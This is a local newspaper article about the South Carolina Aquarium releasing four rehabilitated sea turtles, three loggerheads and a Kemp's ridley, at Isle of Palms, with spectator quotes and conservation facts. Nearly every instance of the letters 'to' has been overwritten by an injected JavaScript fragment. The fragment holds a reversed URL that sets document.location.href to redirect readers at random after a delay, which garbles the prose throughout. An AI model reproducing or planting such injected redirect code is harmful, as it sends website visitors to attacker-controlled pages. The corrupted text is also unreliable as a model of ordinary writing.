By Mimi Wood, The Island Eye News Staff Writer
Volunteers released four turtles in front of fans at IOP beach. (Photobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to by Barbara Bergwerf)
“It was AMAZING!”, marveled 7-year old Lorelai Hay, whose mother, Anastasiya, pulled her daughter out of school an hour early tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to see the “Final Four” released back intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Atlantic at the Isle of Palms County Park on Tuesday, Octobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tober 3.
After months of rehab at the SC Aquarium, Hank returns tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to his ocean habitat. (Photobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to by Barb Bergwerf)
The Hays, along with their friends the Kujaths, were among the approximately 300 people who formed a gauntlet-of-love, through which four sea turtles were sent a-swimming after several months of rehab at the South Carolina Aquarium Sea Turtle Care Center. Hank, Jacobs, and Caldwell, loggerheads ranging in size from 45 tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 160 pounds, along with Sheldon, a 56-pound Kemp’s ridley, were the last four turtles tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be released by the SCA in 2017.
Caldwell, a 45-pound loggerhead, turns tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to wave tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to his adoring fans before being set on his path back tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the sea. (Photobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to by Mimi Wood)
The boys arrived in style, each individually semi-submerged in a huge plastic tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tote, secured in the back of the Aquarium’s signature, fire-engine-red Mercedes (donated) van. One by one they were carried tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the shoreline, gently placed in the knee-deep waves, and bid adieu.
“We purposefully timed the release tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to coincide with the midhigh, incoming tide,” explained Willow Melamet, SCA Sea Turtle Care Center Manager.
“We had tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to compensate for a sand bar created courtesy of Irma,” a tropical stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torm that blew through the region at the end of September.
To see a real, live sea turtle is tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to love them. And for all the eye-rolling non-believers, please consider the following fact: all six species of sea turtles found in United States waters are listed under the Endangered Species Act.
Native tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to our islands, the loggerheads are classified as a Threatened Species, meaning they are in danger of being “upgraded” tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to an Endangered Species in the foreseeable future.
The Kemp’s ridley is actually on the Endangered Species list, in peril of becoming extinct. And tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to state the obvious: once a species is extinct, it’s gone forever…an incredibly sobering thought worth a moment of pondering. A prime example is the gregarious, tropically-colored Carolina parakeet, indigenous tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to our state, which was declared extinct in 1939, feasibly within “our” lifetime; there’s no bringing them back.
Sea turtles are important tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to us for two reasons; they maintain our ocean and they protect our dunes.
Under the sea, turtles are one of only a few species who eat sea grass, thereby promoting its growth; the seagrass beds provide nesting and development habitat for numerous marine species upon whom our food chain depends.
On land, turtle nests nourish the vegetation; strong root systems hold the dunes in place and prevent erosion.
Consequently, there is legitimate cause tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make changes on a daily basis tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to protect the turtles…if for no other reason, selfishly, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to protect ourselves.
Minuscule personal decisions, such as eliminating the use of a plastic lid and straw, and tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toting recyclable grocery bags may seem inconvenient at first, but become an easy habit in about 21 days.
“It was a hands-on science lesson,” declared Angie Kujath, who along with Hay, brought her two children from Summerville tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to witness the event. “It was my first sea turtle release,” exclaimed Kujath’s daugher, Lily. “I liked it because I want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be a marine biologist when I grow up.”
